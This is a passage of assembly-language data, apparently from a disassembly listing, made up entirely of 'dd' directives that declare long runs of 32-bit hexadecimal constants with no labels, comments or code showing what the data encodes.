		dd 0B6066ADh, 3E700965h, 0C80EB3A1h, 0B891CD8Bh, 3D0ECF86h
		dd 77BC6796h, 0C79F7061h, 8356F487h, 1E8A1FF2h,	38CE68D6h
		dd 6C5649CEh, 0B958F2B2h, 0C0B55762h, 5F6309D5h, 8734DAE0h
		dd 0FAC734A0h, 0EB650561h, 9CCB5BCFh, 0B76973D1h, 0EE84F190h
		dd 4FF41EBCh, 5BA3884Ah, 48F1D12Eh, 0B5BC0AEEh,	2A9F851Dh
		dd 91D12F8Bh, 0F91A8019h, 0A2EFD6A5h, 0A3279311h, 0FEE72D73h
		dd 32487D20h, 4EA9D247h, 28CBD519h, 0E729DADEh,	0B2A67C08h
		dd 5E095654h, 0AC02EF3Dh, 28ABF9C0h, 1F38F736h,	689F8DDAh
		dd 0A98658CEh, 9C250880h, 9A51B20Ah, 0CECC10E1h, 0F8D2DB50h
		dd 0F70D313h, 0AF469459h, 6FA40192h, 0E4D60B57h, 979D2ABh
		dd 0F3E5577h, 0C2B4ECEBh, 4E2A9DCFh, 8F6BCA5Fh,	3B5325E3h
		dd 1AAF2F0Fh, 0CC79042Fh, 0AF0D510Ah, 6FC1EEC3h, 3979B944h
		dd 0C80486A9h, 4E557D17h, 0EF13AEh, 8E9D3202h, 2AED8D15h
		dd 689C622Bh, 0D998222Fh, 0ACF78809h, 9F471222h, 0D128FF1Eh
		dd 0BB3E3377h, 5AEF434Ah, 0C6E6AA7Ch, 62BCE0F2h, 0D31E5CB9h
		dd 0C488A059h, 27C49D4h, 76E7ADB1h, 0D0B81476h,	2C79A777h
		dd 896D5FCBh, 3F9189AAh, 4E7C6CB0h, 0D0091103h,	0B4479211h
		dd 0DAC9E5EAh, 0A576A9F3h, 0B58D88AEh, 5726BFDBh, 18CB6E6Bh
		dd 5E30A5B3h, 952B6DEFh, 0E211F611h, 0C8022D04h, 76ADA628h
		dd 4AC19683h, 0DC786E54h, 5FEEBC3Dh, 0E0CD9EA2h, 48461913h
		dd 0CC0FAFD4h, 62115583h, 0F5C4E5D6h, 6894B0h, 87EB2A8Bh
		dd 0AA4BFD24h, 0E4F92459h, 5A3D2E2Ah, 71306B09h, 0B7CB7B72h
		dd 1C9ACFh, 0E5FC3FB3h,	0BFCC3B14h, 2BA220ABh, 5B8B0B7Bh
		dd 8C2D2E51h, 837B2E57h, 9615AE30h, 9D788E74h, 0DAB47AA3h
		dd 0DB9F03D0h, 9F4FC7B4h, 7A410439h, 0BA544D3h,	2A3BC7E1h
		dd 55147CCAh, 0DCC27186h, 7C8188CAh, 0AAA9B08Ah, 75DB4539h
		dd 0E1240BAAh, 97ECE2B7h, 0FFF7549Eh, 26A3F1D3h, 176F3F29h
		dd 7A0D0026h, 91F3B6D6h, 6649549Ch, 0E7B14538h,	80D47179h
		dd 8588C820h, 673E5691h, 647D1E9Ah, 0BFEE8681h,	447B4900h
		dd 0D8E7D1B6h, 8DB69ACAh, 6AF68EE2h, 0DADB1EC0h, 0BD2F21F7h
		dd 67F47DCEh, 0E91E9698h
		dd 0C426F107h, 316F21F9h, 0ADA8BA4Eh, 0B21EDDBAh, 0DEFC81A8h
		dd 0DAA2FBC0h, 99DBFDB2h, 28BD4980h, 87F75FD7h,	73F905Ah
		dd 187CFC77h, 97B24B1Ah, 54095FE6h, 0FE18BA48h,	0D2B006D2h
		dd 51CEA12Ch, 2B66B6C2h, 0EC9A85D4h, 281203ACh,	20CBE648h
		dd 0CF47BC64h, 9DF3002Ah, 0E2838A1Bh, 51C34BAh,	945DB97Dh
		dd 0ECE4832Eh, 0DF0BA739h, 3C386909h, 0ECCF8789h, 2516FD58h
		dd 0EEB7648Eh, 2CA331FAh, 6324E38Eh, 0F6BA9AA0h, 0CB253E58h
		dd 64BEA0Eh, 3BE3EA26h,	0B3F19A4Dh, 33593498h, 0EEA354F4h
		dd 60050F3Ah, 0CE050D57h, 0CA0A5A4Ch, 94A41C42h, 8DEAE309h
		dd 0DD00F86Dh, 0A462C535h, 4A67543Eh, 3F6AF7A7h, 1CE478D2h
		dd 0E40308D1h, 98AAF621h, 0B4EB4243h, 6242A37h,	0D3590E60h
		dd 0C5A73D8Fh, 1171C4F5h, 0BF18CFE4h, 0EB382FFFh, 7F6B8FFBh
		dd 0E5F060B0h, 0A1F5F96Fh, 9646C7Bh, 0F9FE2168h, 72576D6Fh
		dd 79C1A1D7h, 0C2A8CB84h, 8E17502Eh, 0B78755E1h, 0C381854Ah
		dd 6274425h, 9046A993h,	0C23B68AAh, 0FA879E48h,	7454DE92h
		dd 4733B3A3h, 16E0D805h, 0BD3457F4h, 0B2424D93h, 0ACE0BD45h
		dd 4D998223h, 26A58207h, 5259AE65h, 883E59Fh, 3422985Bh
		dd 0BD4EE0CDh, 4EB41509h, 65B37B27h, 0CB30AE32h, 50D4BCA2h
		dd 234C44B6h, 0E8DDA7D8h, 89BE4F7Ah, 0F3357925h, 137C9539h
		dd 0B884FE84h, 9B94FB6Eh, 0BF37B8C1h, 0BD4F16ADh, 3033D5B8h
		dd 241F175Ch, 0E3CF35E0h, 0C1BC5BE2h, 0A97E7D41h, 785694F4h
		dd 0C49A0B7Ah, 3AD7B585h, 248F296Bh, 5A74EEC4h,	0E541CD99h
		dd 3792306Ah, 1026A74Ah, 953AA0EDh, 0AC77B618h,	0F9668B66h
		dd 9D8448DBh, 705D87D9h, 14FB5E87h, 9EDB56EDh, 0F257A4FEh
		dd 843BCEB0h, 9E9706A4h, 76905BFCh, 7D266453h, 5E3C71D6h
		dd 421E4471h, 6A1300A2h, 0F404400Fh, 0F69395F6h, 6612593Fh
		dd 0AB4E3A8Eh, 763FD2F5h, 0BE15B1F7h, 63993488h, 6500E46Eh
		dd 21B6F377h, 5E2D3E00h, 0A1028A23h, 8075D179h,	2C666EB6h
		dd 21DB84BCh, 0EB53FA09h, 5C76C5B9h, 0A7B1A5F1h, 2A6C0768h
		dd 8F136835h, 0C4887A67h, 0A5B0AE03h, 93AA1458h, 3A9A0C4Ah
		dd 0E819E07Fh, 0B8F35282h, 0AFFACB45h, 8C9DC9E6h, 224E63A8h
		dd 0DB976C2Fh, 2C98A11Dh, 9FE26CB1h, 36519240h,	0D58967B7h
		dd 0A8D9AD51h, 2B96FF9Dh, 57247B4Fh, 9AB0BC57h,	52FAAC00h
		dd 0E4A14E5h, 0B1889178h, 3C45D7C7h, 0BF7348CFh, 39996F95h
		dd 0F1566AF1h, 0AEB31FCBh, 0EB5E8033h, 0DF6FEE3Eh, 5A775EA3h
		dd 8C90FF94h, 43E6B2B1h, 747EC2C6h, 0F32F42A1h,	0EF4018DDh
		dd 39A50536h, 0F825ED03h, 8902B0EFh, 0AFA87785h, 0DE94D778h
		dd 0B0ADBBFBh, 0A86FE05h, 82E1692Fh, 7A76E2B0h,	9F36C924h
		dd 0C5CEA98h, 0D9FE8E41h, 0D7A790DFh, 0CC821D00h, 4AC84070h
		dd 52905D9Fh, 0F856EDF6h, 8C59E3h, 2497DFEFh, 35DB17CFh
		dd 905377ECh, 0DA47325Eh, 6FB0404Ah, 9FB64C90h,	91DDA005h
		dd 9BDDA6A2h, 0D814D75Ah, 0C90F3B9Ch, 1F167E95h, 8BCB4E48h
		dd 0AF92A3E6h, 835A500Fh, 4EF6E81Eh, 5C0B2C81h,	2741189Ch
		dd 0DA98EE27h, 98FCF5B5h, 2E06CAE0h, 52EF27BCh,	0F3F716E7h
		dd 64B1837Bh, 0ECFD702Ah, 8508813Dh, 0E22EF786h, 0D99323ECh
		dd 0A3D55CF4h, 67EFDDD1h, 0B743847Fh, 225BE1F6h, 2335CE20h
		dd 0EE369AEBh, 3D7827DEh, 0B6E4A550h, 0A28083Eh, 0D58668CEh
		dd 43252E93h, 115DEC00h, 0F6AEB374h, 74EB8BC1h,	45D0927Bh
		dd 8DE7F619h, 0A2481709h, 0E3041918h, 0F2CAD26h, 2DAA40B6h
		dd 0DC01D342h, 7E9CED2Fh, 85C5AE1Dh, 1F6B743Ch,	0EECFAF74h
		dd 0AB6FA5Fh, 84E6CD5Ch, 8B9FD92Ah, 0BB0EBB9Ch,	0AB1439E7h
		dd 315B444Fh, 610E8268h, 14D5D70Ch, 0A0EF0695h,	329306F3h
		dd 0A9ED742Bh, 6534641Bh, 0C81F6432h, 0FD6A2C52h, 20D0B7EAh
		dd 582C3C05h, 391FD589h, 5F78ED9Ah, 2A03E002h, 0A4B0DAAh
		dd 0BD8DB7E8h, 59F72D10h, 70601750h, 0B7F2DED9h, 0A55E829h
		dd 165B702Bh, 0DA6F8408h, 245B23ECh, 5F3A460Bh,	8C8851B9h
		dd 72B05943h, 8393A689h, 0CEB3F20Bh, 53E9F7F5h,	4F124FF3h
		dd 0B017E69Dh, 6DAD95B1h, 0D6031161h, 8DDD4FD9h, 2603C837h
		dd 20FBF48h, 0A94C634Eh, 4DA3E3F3h, 0DEB2527Bh,	2B8C9DD5h
		dd 190BC333h, 8075B651h, 96F84243h, 0BFB4B03Fh,	0C0B25D5Fh
		dd 88A6C0BFh, 134C55B0h, 0F9974AF9h, 44979D03h,	324AA40Eh
		dd 13DC3921h, 5B482BE7h, 978FED7Ch, 6F61C5E9h, 630A2F83h
		dd 0A542A7EAh, 82BB34C2h, 7078FC85h, 7F0C4DE0h,	6C902487h
		dd 0BD4F0C05h, 6C0421DAh, 611B76FDh, 0C1C8175Eh, 4FB20994h
		dd 68761200h, 55759E05h, 42E72807h, 0BAAD2F1Eh,	31903271h
		dd 0E0A0C631h, 1A68A773h, 0BFA585EAh, 4D7F0702h, 733FD40Bh
		dd 0FA5F62C2h, 9A5FB08Ah, 55461FD9h, 0C6E317EDh, 0A3F98409h
		dd 0CBD3418Ah, 0A7ACA6EBh, 8465D545h, 0E2BB70F7h, 6535138Bh
		dd 5AD450E7h, 0A94F1AA8h, 68A29273h, 0C054162Bh, 536E0B08h
		dd 8A0A05D5h, 1FC927D4h, 0BA8D5D76h, 0ACC30980h, 0B3A43E9Bh
		dd 0FD8B0991h, 3869F86Ch, 0C66EF5F0h, 79B9800Dh, 28C825Ah
		dd 0B4425DC4h, 0EBADCF67h, 86DDB022h, 509181DEh, 85ACC4B1h
		dd 4E76D898h, 0DA95C4D7h, 6BF6BB4Ah, 8C11DAE7h,	0CF3C90FBh
		dd 0CA80B96Ch, 253EF324h, 0D1BD1F7Ch, 84C7E7C9h, 3D1EABFAh
		dd 0DCBF6E98h, 6BCE637Ah, 0C9BB2D6Fh, 1F87E5B5h, 123D5DECh
		dd 80B7275Dh, 5DD2E12h,	31527AA8h, 41FD3D18h, 83AEC367h
		dd 0A027660Ch, 0AE919FE1h, 725A946Eh, 0EB4A838Dh, 84889985h
		dd 52267E2Bh, 6067CFE9h, 4F6067B2h, 1147202Dh, 4510FD9h
		dd 786DD8Ah, 0AD9E2614h, 10F78402h, 95F72F8Fh, 81D3E618h
		dd 0AB955AF0h, 0C6747686h, 4B0EA83Fh, 8C0F897Eh, 0ECBBE10h
		dd 15241AF6h, 95EC423Ah, 4B31138Bh, 0B69FC856h,	0CAF76AFBh
		dd 98F0778Ah, 21A1D21Ah, 2203151Eh, 22DAEEA8h, 9049AE0h
		dd 8ADEEF9h, 42B317BEh,	0CE6268E2h, 7E903AD9h, 0B94248Dh
		dd 0EC384AD7h, 0DCCB47h, 2DB161D5h, 7E5E018Dh, 0A59A1274h
		dd 0CF79EE41h, 77131874h, 2172A97Bh, 0D019563Eh, 94CB354Eh
		dd 0F6D19F88h, 966AF3B6h, 0E58B544Ch, 53638CE4h, 0D141B0DDh
		dd 4B6D404Ch, 2BCAEDAEh, 56CF3A3h, 7F40872Dh, 314BFBA4h
		dd 87169058h, 589A9C70h, 0D3F4DC6Dh, 8037B550h,	40336ECDh
		dd 73C10293h, 0C1D6467Ah, 50C9EE24h, 0FAEE036Dh, 9079F0F1h
		dd 50D14524h, 0CEEC525Eh, 6C645C37h, 371F544Eh,	0AC49DE59h
		dd 3C401644h, 0E4180584h, 0A53C7B22h, 566DFCBEh, 4A837724h
		dd 922686C0h, 5B27F03Ah, 8BAFF4AFh, 68416C7Ah, 92F0DE5Bh
		dd 9946C779h, 6B0416FEh, 4FCB1A95h, 64A14EA3h, 9E2E9CCDh
		dd 34F94BAAh, 2C31E3B4h, 0AB799DF6h, 7B5BDCB9h,	18609A06h
		dd 67EE9A2h, 0D409BC39h, 5FC35BF7h, 0F00F40A8h,	7FDE57h
		dd 0C31B810h, 9928327Bh, 2C037E0Fh, 8DE69AC5h, 6B9EE672h
		dd 0B6F76272h, 0DB6D31AFh, 0E2D17614h, 1F9B6618h, 0CBCACF02h
		dd 36B62699h, 0AAE9710Ah, 8C95A543h, 363784E7h,	1A2528BCh
		dd 0DFA4D2C5h, 7407826h, 885C7392h, 50C3728Dh, 0C7298EC1h
		dd 0B21B04E1h, 5BB2141Dh, 37EDFF51h, 32B91ED2h,	0C362B719h
		dd 0D4D8087h, 0BD91619Fh, 0E026F39Ch, 0B6952368h, 0E8ABE72Ch
		dd 1291B02Ah, 4AC6F11Bh, 4A5FB5DEh, 7772D52h, 31F5EDDEh
		dd 1D5F983Ah, 45C16AB4h
		dd 4115DCFFh, 7FCCF770h, 2DC0AE24h, 0C05E6996h,	3C0EF9EAh
		dd 48097AF6h, 3662675Bh, 1AFD9924h, 0B9EB5AF2h,	2D1FBA7Bh
		dd 1FE1C8C9h, 89A87D21h, 3E8A69FBh, 1EBCC13Eh, 0BCD16CECh
		dd 7820823h, 1F7764F5h,	8739F047h, 0B392894Fh, 4D0811F6h
		dd 645F3C8Fh, 0A1FADE28h, 5CA45AFBh, 0A823BDC1h, 75B82B0Bh
		dd 23D69D2Dh, 88C303AAh, 2D7077E8h, 0C46F7BC6h,	0ABCE5E3Fh
		dd 0C9709175h, 0FD9836CAh, 338B197Ah, 772B19E2h, 64466785h
		dd 0F5F31E2Bh, 404EC527h, 3D4C523Ah, 0D9040A40h, 25EA289Ah
		dd 52C86DDCh, 0C2D0904Eh, 0FBE62422h, 8C145F7Bh, 0C85D523Ch
		dd 0C42C2E76h, 0FA41E4BAh, 5F9AE841h, 40E0CC2Dh, 5500DB13h
		dd 9EF35C31h, 790542A2h, 134E4A3Ch, 2ED8BC6h, 0CF178899h
		dd 0F7499DDCh, 1E901FE2h, 0E53D50F4h, 63F3392Dh, 0B30E8DCCh
		dd 95B6601Bh, 41B810B5h, 0C0C06AB8h, 0AAC48AF4h, 7ECC0199h
		dd 48ADF4EBh, 11AFF7CCh, 9EE314B5h, 0DCE37128h,	0AFB09433h
		dd 5A9D2BBCh, 0FFD935D9h, 0D8EC82AEh, 75AC814h,	2FD74EBCh
		dd 9C185720h, 0AD69E245h, 0E27165B7h, 9ECC5BB4h, 2F4074A1h
		dd 9A1EC908h, 0FAB774CBh, 72F97978h, 92B541DBh,	0AEDDD44Eh
		dd 0BE17A764h, 39A9D297h, 0B2F30EC8h, 0CBE9390Fh, 0EFEB6C30h
		dd 22CE6C34h, 8F767CDEh, 9F0C3893h, 16CD9318h, 0C6293D5Ah
		dd 0A8E6781Ah, 627332F5h, 532541C2h, 0D2EAC439h, 32F4A160h
		dd 7233C6BAh, 26A097B9h, 0D893ED1h, 0DD43CA77h,	0F742E67Bh
		dd 5E2C1FB7h, 9AC2D86Eh, 0B55383E6h, 6A3B3DEDh,	5869A855h
		dd 0BD5232CFh, 0D8F98327h, 0C3A79383h, 434BF6BEh, 4019C7B0h
		dd 0E5DF18EBh, 0B94E8370h, 56FEA8C2h, 325D7D7Eh, 804EF69Bh
		dd 0E6913A2Dh, 0AC2FB8FEh, 493DBD4Bh, 0FD897D16h, 4BD72F2Ah
		dd 0E031F555h, 85F1A0C1h, 0FD8FE0DFh, 83481834h, 9F663602h
		dd 629F8354h, 866E7B20h, 2E5C219h, 0C846C44Eh, 381FF239h
		dd 0A98533E6h, 0ED76407Ch, 0EB698A98h, 0F60DFA6Fh, 4BF636B4h
		dd 0D516E50Ch, 81BF3E4h, 9C45C13Bh, 4E160C82h, 0C5C8DAA0h
		dd 58FBB96Dh, 820CE236h, 59372CE6h, 0F756F9D9h,	796A26DAh
		dd 5CE83A3Ah, 592A779Dh, 0E8EBF08Bh, 92936BE7h,	20DF4ED2h
		dd 57D54B36h, 0AD3BED98h, 74A308BCh, 7952D523h,	25E963BEh
		dd 0A7C5F1AFh, 0E5007CEFh, 3289193Eh, 9063C041h, 24AB8C2Fh
		dd 0A0EED93Dh, 0E740ACC1h, 526EA445h, 3BCBDD5h,	241C76DFh
		dd 7EA3DFC2h, 382EAE32h, 3A3E90FBh, 3972EEA9h, 0EA30B203h
		dd 0CB442E7Fh, 6CDF2938h, 0CDBACD0Bh, 4E521AA2h, 0B34440AFh
		dd 4A3AEFB0h, 0B9FDBCC3h, 744DD7A5h, 0DE4D8865h, 0E553E1DAh
		dd 647093ADh, 67386F2Fh, 0A825E521h, 1446E3E8h,	0E22B086Ch
		dd 4EDECF36h, 82F1ED86h, 0B497AC48h, 79E86581h,	0EE28924Bh
		dd 1868BBF9h, 0B0CCB3ADh, 0CAEDE942h, 9C090172h, 12CD501Fh
		dd 720042F2h, 574BEEC0h, 8F11C34Ch, 1EAAA8C3h, 0ABF10AAFh
		dd 5C7E1537h, 38C9BD63h, 4906700Bh, 0BCAF0AF3h,	73F2A420h
		dd 1FA2BC11h, 0BE3A7942h, 91636A88h, 4042B841h,	5D6D6788h
		dd 79D64D1Eh, 8F2A5DCEh, 22758052h, 0AB103237h,	0D4B3262Ah
		dd 0A5BCC199h, 4F2F2D6Ah, 41301CD2h, 5186A4E9h,	0D7ED2998h
		dd 5E7B8D9Bh, 5A3667FCh, 8C8B0AF4h, 8AAC268Ch, 0ADB9DFC0h
		dd 36665440h, 0C65B03FFh, 0A253F09Eh, 87AADA3Dh, 91CAA0D0h
		dd 452BC553h, 86A4F95Dh, 0AD8AD9D1h, 0BDE115C3h, 85AF0C51h
		dd 51A4EFC4h, 0DF8EE2D2h, 0C16DACFCh, 21CC7474h, 0E19D31BDh
		dd 0EDB51D89h, 768F9B0h, 0AA6EBD69h, 58616EC7h,	8C311B95h
		dd 0B2BCEE84h, 117FAFEh, 93FBAD8Dh, 628FB9A1h, 5EA5205Eh
		dd 4126C3EDh, 5C27917Bh, 0F62451E0h, 227FEBB5h,	442F8ABBh
		dd 0B7608E4Eh, 13CC2B96h, 2A280B91h, 0A9A0A899h, 0D56660D8h
		dd 143B9865h, 825E6D09h, 8DC7B2EFh, 0B5CB3360h,	0B43AA80Bh
		dd 0C22FBDA9h, 8C40DA92h, 939053DFh, 0C8537FBAh, 2329C1A0h
		dd 0DBCA16AAh, 0BBE84B2Ah, 90B0F095h, 82D90D20h, 10E8CC69h
		dd 9573EBC5h, 35D539EEh, 0A02539BDh, 0CCF9FDD0h, 5DBF5989h
		dd 0B0E18841h, 0D5B0C623h, 0CFFFD347h, 1FD8DB1Bh, 4FFAF0D6h
		dd 0D8262429h, 641A4F06h, 0DA58919Eh, 565922A5h, 0FDDB03E8h
		dd 0D028CB9Dh, 1B865F91h, 45DF986Dh, 706B69F3h,	77D40B0Ah
		dd 4A02C9CEh, 655967B1h, 38F2B838h, 0ADDE3CF1h,	0BB592F57h
		dd 27C39667h, 0EE591932h, 6BD02005h, 0C6F78983h, 84D504E6h
		dd 1F4F0EBAh, 91A42583h, 31F55026h, 2D4B0C9Fh, 40F7D060h
		dd 76B0D418h, 1602EDD2h, 0A3783DCh, 0C0EC7A4Bh,	39DB88D7h
		dd 5FD96A3Fh, 0F30F2E9Bh, 4E85409Fh, 1778A91Dh,	36F9C0E9h
		dd 0E96C5629h, 0FB049F87h, 0D4913406h, 8F8BEB3Fh, 69BB5B7Dh
		dd 5CB037ACh, 0AC667141h, 0F5043B66h, 9F3C9797h, 0FC69F67Ch
		dd 9B6EC1B0h, 0A442E51Dh, 562ABFD1h, 0BDB8AB36h, 7B7DBC88h
		dd 3A8481A7h, 231D4FA3h, 705FAB51h, 3958AE91h, 3CD6F825h
		dd 3E5088C9h, 1E0D952Fh, 19B438D8h, 5C0C0D35h, 0C250C28Dh
		dd 0C6C2BF56h, 0D5591AEAh, 4618340Fh, 28B769E5h, 52080159h
		dd 1AEE0AC5h, 0B4FA3701h, 50792023h, 0A6B62710h, 9AF1CFFDh
		dd 0E6D85E81h, 89EC6909h, 146F837Fh, 3B4CCC6Ch,	178D4310h
		dd 22CE4B90h, 7B090392h, 0FAE1D66Dh, 0BAA40CE0h, 3C7C8A9Eh
		dd 192805CBh, 538F60C1h, 8E9ED296h, 30053F28h, 854BE44Bh
		dd 3A679C35h, 0D893B020h, 43ECC4E4h, 3E8C40Eh, 8992ABE7h
		dd 6709A1F8h, 65C89E85h, 30288202h, 2967A3C0h, 0C17003DCh
		dd 0BC779DCDh, 0D157CC16h, 34379EDAh, 23F1E338h, 4AE0452h
		dd 65A6E22Ah, 7F25B7CCh, 17571CF3h, 8C0DD892h, 18D80D67h
		dd 231940C7h, 0BAB4CBA6h, 3023B334h, 0FF64E768h, 9AA4C062h
		dd 0BB35591Ah, 829EBE7Ah, 36C695FEh, 0CF6FE902h, 8E393DE8h
		dd 0A18A34D0h, 0BB46318Dh, 0A5F92155h, 2E1003A6h, 6B68D9A4h
		dd 0F62D0C0Dh, 0BF4093CBh, 1518752Dh, 7F354247h, 488F740Eh
		dd 0F073C53Bh, 72DB7492h, 94E99093h, 0B2266AEFh, 94AE3990h
		dd 59558921h, 4BADDBFCh, 4977F517h, 92B30EDh, 39AF8064h
		dd 0C83C60C0h, 932F8116h, 816CD902h, 0B3319EF0h, 46D6AE01h
		dd 241DEB29h, 0F06FDA82h, 6DEB192Ch, 82208ADAh,	27B21370h
		dd 0FFBF4CBh, 2D241F04h, 0B1CC0FCDh, 481CCDC0h,	81CA455Dh
		dd 0FAAE1E9Dh, 1E9F4013h, 472F3B9Fh, 0CCC304C8h, 0FE02CA79h
		dd 0F6C4D35Dh, 0F73AEC33h, 0E210FE0h, 0A02FEF2Bh, 0FCAF7D5Ah
		dd 0F44D9E61h, 0E5C6ED4Eh, 0AAF6C6C0h, 0A333262Eh, 8668542Bh
		dd 593E8C39h, 0E8765A48h, 7D0696F9h, 0F51C283h,	4B542815h
		dd 13775E17h, 63E43F7Fh, 6279330Bh, 0DD5B8182h,	72A0698Ah
		dd 5BBAF0ADh, 30FA9E84h, 1894B247h, 0E42B8ED3h,	420BFA00h
		dd 925F56C7h, 9CBE8944h, 3B7F543Bh, 7A5BA585h, 0D17BBAE1h
		dd 5645D28h, 9B94330h, 0AED6B32Bh, 7CC94983h, 7A6ACE2Ah
		dd 643B2F18h, 2A66CB0h,	981D029Ch, 722356A6h, 0DF6FE14Dh
		dd 0C0CD84BDh, 20C2D6D2h, 96F59B4Eh, 78EBC583h,	49DEB9D0h
		dd 27F0E40Fh, 9757454Eh, 59545E65h, 2DE825E7h, 5E26BF56h
		dd 0F2D78E05h, 0AC621C08h, 0A3DB890Eh, 825D86BDh, 0CA26D3A0h
		dd 0FD3007E2h, 7D03228Dh, 9AEBC487h, 5470CF1Ch,	0F1FDC434h
		dd 0A89079FDh, 6E658A4Fh, 5AD3E1B3h, 14F216CDh,	0B4E04C11h
		dd 0B88A2C6Eh, 0F179152Ah
		dd 3BE29240h, 0A7CC2E0Ah, 0A02D20A4h, 9374262Ah, 0AEB1619Ch
		dd 65788BDBh, 7F397503h, 0ABCB32A9h, 0DC3C9ED7h, 0A69B861Ah
		dd 0D84366E4h, 28B1454h, 3F564F23h, 5AEA03FBh, 9ECE8790h
		dd 0BC94CC07h, 0B422B21Fh, 91D739BCh, 1C8C4259h, 0E7C8D8A3h
		dd 0C8458A55h, 705395B1h, 8C57968h, 0F7604ADBh,	0E155A14Ah
		dd 0D68B9098h, 0D31571E3h, 6ACE03D3h, 95D13464h, 60DB6C6h
		dd 0CED275DEh, 0CF3B7E29h, 0E02C137Dh, 30AD729Fh, 864522A7h
		dd 5F9ABB61h, 30E10074h, 0C401D58Ah, 0F75232C1h, 980022EAh
		dd 50831432h, 9764E5BDh, 0F68BBF54h, 4AFEE56h, 263A96F5h
		dd 86479055h, 7964E51h,	5B02492Ah, 0B23B9809h, 893F4F92h
		dd 0B28270C2h, 182AB0A6h, 9995D743h, 0C4179BABh, 29E2BC3Eh
		dd 0E3BEDF4Bh, 54F982D6h, 0A9CD86ECh, 594F22FAh, 0B4DFAFC7h
		dd 0F0245AF0h, 842E9C07h, 72283120h, 916505CDh,	0BDDBE60Bh
		dd 97F57056h, 97934244h, 1D86DE48h, 0E30DF383h,	4B6CF484h
		dd 34B108C7h, 9DC576BBh, 7449D526h, 68A13A7Ah, 0C0B6CF33h
		dd 51D48327h, 522EB205h, 241B94F7h, 438D491Ah, 0E81DEAEFh
		dd 0EA159C18h, 6DC81476h, 0DDCA4095h, 85D8D5BDh, 234A24B6h
		dd 0AA99ACB3h, 91896CB5h, 88F02958h, 1FBAD563h,	0BAB9A690h
		dd 53B9ED62h, 0C4404ED5h, 0E9EB03C8h, 0E82C23F3h, 3597DC28h
		dd 20E3D855h, 0AB9C316Eh, 0CB3374CAh, 72CB2C7Fh, 910B887Fh
		dd 0A25D6C98h, 68FA79B7h, 488B7A9Fh, 0CE858728h, 7CD269F2h
		dd 54125564h, 7F59EB36h, 0E17FCDD1h, 352BBAA6h,	0F8A48FEBh
		dd 0BB9D6DF1h, 68D568Ah, 0E994C620h, 0D817BCFBh, 2DD9C5A4h
		dd 8BEC38D0h, 5638A09Bh, 0CCE533B3h, 5BD9EC98h,	596D1797h
		dd 0A6C18850h, 0F7EAAE9Fh, 0BEC46880h, 0CC03B425h, 0D9B1FE08h
		dd 130C9EFFh, 0ED3D72F5h, 573F253Fh, 8830D1B3h,	40A38EF5h
		dd 55879A70h, 0B7BADEF8h, 58EE1EDEh, 49952C25h,	0B43FCE36h
		dd 396B3D49h, 9F0B3786h, 0B28FA754h, 3F96AE1Ch,	0E9E494F3h
		dd 5C7C5A19h, 0BC166082h, 0E19A7FDAh, 0E35C68B3h, 5033CD4Dh
		dd 0EC0631E3h, 7F0A60F3h, 93BA0721h, 9DF3D397h,	0E758CF2Eh
		dd 0B1A8DCC7h, 0B8889BB0h, 0A588B6ADh, 6C09AA70h, 41FE8CE5h
		dd 0A708DDDDh, 0B870174Dh, 8B0C58CBh, 2D15E7A3h, 7543509Ch
		dd 0E52BF673h, 1C1C2951h, 0FB89B50h, 0F54A5C9Fh, 45162698h
		dd 0AD742CFDh, 1A72933Eh, 746198F3h, 44E16028h,	0AA462FBBh
		dd 0FC14ECA9h, 538F50DDh, 0E0714E21h, 30BF1BB8h, 1C11DEA4h
		dd 0AC09608Dh, 26BCCF1Ch, 0E5B01A74h, 861BE432h, 146B07Ah
		dd 0FA89215Ah, 53F78D3Ch, 896DE933h, 0BA2C9A2Bh, 22E0516Dh
		dd 0FDB6702Eh, 537F5AC0h, 0E4E6E1C9h, 43951DD1h, 43EF697Ah
		dd 8B0D14E9h, 3453D8FBh, 1F66107Ah, 7D55FF50h, 787B0D4Dh
		dd 4BB62231h, 294C65AAh, 0B60B958Ah, 34814AA2h,	0DC72727Dh
		dd 3767312Ch, 16686E43h, 594CEF88h, 0A9F51CAEh,	0FDF17D6Ch
		dd 0D932B8E1h, 6C12029Fh, 0C8A5468Ch, 0AD30A05Dh, 5AF892A7h
		dd 25A6FBE7h, 0F0BC6420h, 37BA695Bh, 1090146Ah,	5B7BA245h
		dd 2CE6EEABh, 3C35D33Eh, 9B192491h, 1866A1DCh, 5428EFB0h
		dd 3BB1317h, 0B04388CBh, 77C00F9Dh, 0EBBC7DBh, 3D1A6D03h
		dd 32095CD3h, 6A82BBFCh, 85D0BE3Ah, 0FD21D5D3h,	7C97FE8Ch
		dd 0A1BAAA2Eh, 0D8FA1CB7h, 0EDEC4B3Ch, 9323DA1Dh, 0A723F8A8h
		dd 379ED613h, 0DFEB4379h, 0A0CC587Bh, 7A36AD5Fh, 0DEDEDBA7h
		dd 87F03D42h, 0E11AC5Ah, 6A6905F8h, 32127352h, 17AACF62h
		dd 0BF26D8E2h, 0DC99B67Ch, 44D11E5Bh, 0C6BC4BC3h, 82E79E2Fh
		dd 0BACCF368h, 8F066B9Dh, 0ED65BB9Fh, 0A77AAD77h, 0EBE19A3h
		dd 8EF78178h, 70B993B9h, 4AB6C3AAh, 48D74E32h, 0DEF3A8D4h
		dd 406B3383h, 67601F92h, 80ABADFBh, 0D345FD28h,	0FADF58A6h
		dd 24089616h, 0C9F7D882h, 0CC9C92FCh, 0A2E15898h, 0F12058B2h
		dd 75BED9EDh, 0B5D76A08h, 7D5DD6E6h, 0F16196F7h, 1FBE453Fh
		dd 236BA863h, 0D9AF0E7h, 93B60626h, 0E2DD3C2Dh,	0CE4950A2h
		dd 352B12D4h, 0C6007F8Dh, 0B41FC57Ah, 0D20B633Eh, 155338EDh
		dd 5FE13D8Fh, 8FDD53AEh, 480ECC0Eh, 0D3925DA8h,	14A2C955h
		dd 61A0BEBAh, 69F66495h, 0D30BAA85h, 42253C30h,	9381E6BBh
		dd 26BF30AAh, 0E5819C11h, 411C4C8Bh, 8ADA1972h,	396C3C3Ah
		dd 211CB856h, 0FACDAE4Bh, 34FB47B0h, 0D3A09E2Bh, 26ECACA1h
		dd 8DF250h, 8FBC7E2Ah, 64DA24E8h, 0FCCC874Dh, 15663FEBh
		dd 82DF2661h, 0B7C2D4Bh, 70834524h, 86FB7273h, 0DCD5B874h
		dd 0F47EF121h, 32D8AAB7h, 0CDA8B28Eh, 0D24D2D2Dh, 0FD83D8D6h
		dd 785E107Eh, 8D025BA9h, 0EF09B3EBh, 222CE13Dh,	0AD8840E4h
		dd 8FF057F3h, 2462F4E0h, 4F923A44h, 94ED1EDDh, 81367EDBh
